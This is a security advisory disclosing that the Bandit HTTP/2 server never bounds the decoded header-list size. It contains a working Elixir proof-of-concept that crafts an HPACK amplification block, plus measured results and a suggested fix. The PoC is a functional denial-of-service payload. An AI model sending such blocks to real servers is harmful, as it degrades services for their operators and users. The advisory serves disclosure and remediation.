Skip to content

Bandit never enforces SETTINGS_MAX_HEADER_LIST_SIZE on decoded HTTP/2 headers

Low
mtrudel published GHSA-9q5m-g6v3-6772 Jul 24, 2026

Package

erlang bandit (Erlang)

Affected versions

1.12.0

Patched versions

None

Description

Summary

Bandit advertises SETTINGS_MAX_HEADER_LIST_SIZE as :infinity by default and
never applies any limit to the decompressed size of an HTTP/2 header list.
Only the compressed header block is bounded (max_header_block_size,
default 50 000 bytes). Using HPACK dynamic-table references, a single ~50 KB
compressed HEADERS block decodes to a header list whose logical size (per RFC
9113 §6.5.2, sum(len(name) + len(value) + 32)) is ~180 MiB — an amplification
of ~3763×. Bandit builds and processes this full list on every such frame.

Severity Low–Moderate. Unauthenticated. This is primarily a protocol-conformance
gap
(MAX_HEADER_LIST_SIZE is advertised but never enforced) with a
modest algorithmic/CPU DoS consequence

Details

Headers are decoded (lib/bandit/http2/connection.ex:155) with:

case HPAX.decode(frame.fragment, connection.recv_hpack_state) do

HPAX's decode/2 imposes no bound on the size of the decoded header list. The
only size guard is on the compressed fragment
(check_oversize_fragment!/2, connection.ex:279-282), against
max_header_block_size (default 50 000, including accumulated CONTINUATION
frames). max_header_list_size is defined in lib/bandit/http2/settings.ex:10
as :infinity and, by grep, is only ever stored and serialized
(lib/bandit/http2/frame/settings.ex:60,110-111) — it is never used to bound
decoding. Nothing enforces RFC 9113 §6.5.2 at all.

Suggested fix

After decoding, compute the RFC 9113 §6.5.2 size
(sum(len(name) + len(value) + 32)) and fail the connection with a
suitable error (or reset the stream) when it exceeds a finite, configurable,
and advertised max_header_list_size. Ship a sensible finite default rather
than :infinity.

PoC

poc_hpack_bomb.exs (attached) builds the block described above and decodes it
through HPAX.decode(block, HPAX.new(4096)) — the same call and table size
Bandit uses at connection.ex:13,155 — printing the header count, RFC 9113
logical size, decode time, and heap delta shown above.

# PoC: Bandit HTTP/2 never enforces SETTINGS_MAX_HEADER_LIST_SIZE.
# Bandit decodes headers with HPAX.decode(fragment, state) (connection.ex:155),
# bounding only the COMPRESSED block (max_header_block_size, default 50_000) via
# check_oversize_fragment!/2. The DECOMPRESSED (logical) header-list size is
# never bounded. RFC 9113 §6.5.2 defines that size as sum(len(name)+len(value)+32).
#
# This PoC crafts a ~50 KB HPACK block exactly like a client would send, decodes
# it through the SAME HPAX call Bandit uses, and measures:
#   - number of decoded headers
#   - logical size per RFC 9113 §6.5.2
#   - actual client-side heap cost (to characterise the DoS honestly)
#
# Run:  mix run poc_hpack_bomb.exs

# --- HPACK wire encoding helpers (RFC 7541) ---
defmodule HPACK do
  import Bitwise

  # integer with N-bit prefix, first byte OR'd with `flags`
  def encode_int(value, prefix_bits, flags) do
    max = (1 <<< prefix_bits) - 1
    if value < max do
      <<flags ||| value>>
    else
      rest = value - max
      <<flags ||| max>> <> varint(rest)
    end
  end

  defp varint(v) when v < 128, do: <<v>>
  defp varint(v), do: <<(v &&& 0x7F) ||| 0x80>> <> varint(v >>> 7)

  # literal string (no Huffman): 1-bit H=0, 7-bit length, then bytes
  def string(bin), do: encode_int(byte_size(bin), 7, 0x00) <> bin

  # literal header field WITH incremental indexing, new name (§6.2.1): 0x40
  def literal_indexed(name, value), do: <<0x40>> <> string(name) <> string(value)

  # indexed header field (§6.1): 1-bit set, 7-bit index
  def indexed(index), do: encode_int(index, 7, 0x80)
end

# Build a dynamic-table entry as large as a default 4096-byte table allows.
# entry size = len(name) + len(value) + 32  (RFC 7541 §4.1)  =>  1 + 4063 + 32 = 4096
name = "x"
value = String.duplicate("A", 4063)

table_size = 4096
big_entry = HPACK.literal_indexed(name, value)

# Fill the rest of a ~50_000-byte compressed block with 1-byte references to
# dynamic index 62 (first user entry). Each reference decodes to name+value.
max_block = 50_000
ref = HPACK.indexed(62)                       # 1 byte: 0xBE
n_refs = div(max_block - byte_size(big_entry), byte_size(ref))
block = big_entry <> String.duplicate(ref, n_refs)

IO.puts("Compressed block size : #{byte_size(block)} bytes  (Bandit cap max_header_block_size = 50_000)")
IO.puts("Dynamic entry size    : #{byte_size(name) + byte_size(value) + 32} bytes (fits one #{table_size}-byte table)")
IO.puts("Number of references  : #{n_refs}")

# --- Decode EXACTLY as Bandit does: HPAX.new(4096) then HPAX.decode/2 ---
:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
{t_us, result} = :timer.tc(fn -> HPAX.decode(block, HPAX.new(table_size)) end)
mem_after_raw = :erlang.memory(:total)

case result do
  {:ok, headers, _ctx} ->
    count = length(headers)
    logical = Enum.reduce(headers, 0, fn {n, v}, acc -> acc + byte_size(n) + byte_size(v) + 32 end)
    :erlang.garbage_collect()
    mem_after_gc = :erlang.memory(:total)

    IO.puts("\n--- decode result (through the exact HPAX.decode Bandit calls) ---")
    IO.puts("Decoded header count      : #{count}")
    IO.puts("Logical size (RFC 9113)   : #{Float.round(logical / 1_048_576, 1)} MiB   <-- what MAX_HEADER_LIST_SIZE would cap")
    IO.puts("Decode wall time          : #{Float.round(t_us / 1000, 1)} ms")
    IO.puts("Heap delta during decode  : #{Float.round((mem_after_raw - mem_before) / 1_048_576, 1)} MiB (pre-GC)")
    IO.puts("Heap delta after GC       : #{Float.round((mem_after_gc - mem_before) / 1_048_576, 1)} MiB (retained; shows term-sharing effect)")
    amp = Float.round(logical / byte_size(block), 0)
    IO.puts("\nLogical amplification     : ~#{trunc(amp)}x  (#{byte_size(block)} compressed bytes -> #{Float.round(logical/1_048_576,1)} MiB logical)")
    IO.puts("Bandit forwards ALL #{count} headers to stream validation/Plug; MAX_HEADER_LIST_SIZE is :infinity and never checked.")

  other ->
    IO.puts("decode returned: #{inspect(other)}")
end

Impact

I crafted a 50 000-byte HPACK block — one literal-with-incremental-indexing
header sized to fill a 4096-byte dynamic-table entry (index 62), followed by
45 931 single-byte indexed references to it — and decoded it through the exact
HPAX.decode/2 call Bandit uses. Measured results:

Compressed block size : 50000 bytes  (Bandit cap max_header_block_size = 50_000)
Number of references  : 45931
Decoded header count      : 45932
Logical size (RFC 9113)   : 179.4 MiB   <-- what MAX_HEADER_LIST_SIZE would cap
Decode wall time          : 5.9 ms
Heap delta during decode  : 1.7 MiB (pre-GC)
Heap delta after GC       : 1.7 MiB (retained; term-sharing)
Logical amplification     : ~3763x

Real impact assessment:

  • The 180 MiB is a logical size only. Actual retained heap is ~1.7 MiB
    because HPAX returns the same shared binary term for every indexed
    reference
  • The real cost is CPU: for each such frame Bandit runs
    HPAX.decode (~6 ms here) and then several O(n) passes over the
    45 932-element list in Bandit.HTTP2.Stream.deliver_headers. This is repeatable across
    streams (max_concurrent_streams defaults to :infinity) and across
    connections. If the header list is crafted to be valid it is also handed
    to Plug and the application, which will iterate it again.

Severity

Low

CVE ID

No known CVE

Weaknesses

No CWEs

Credits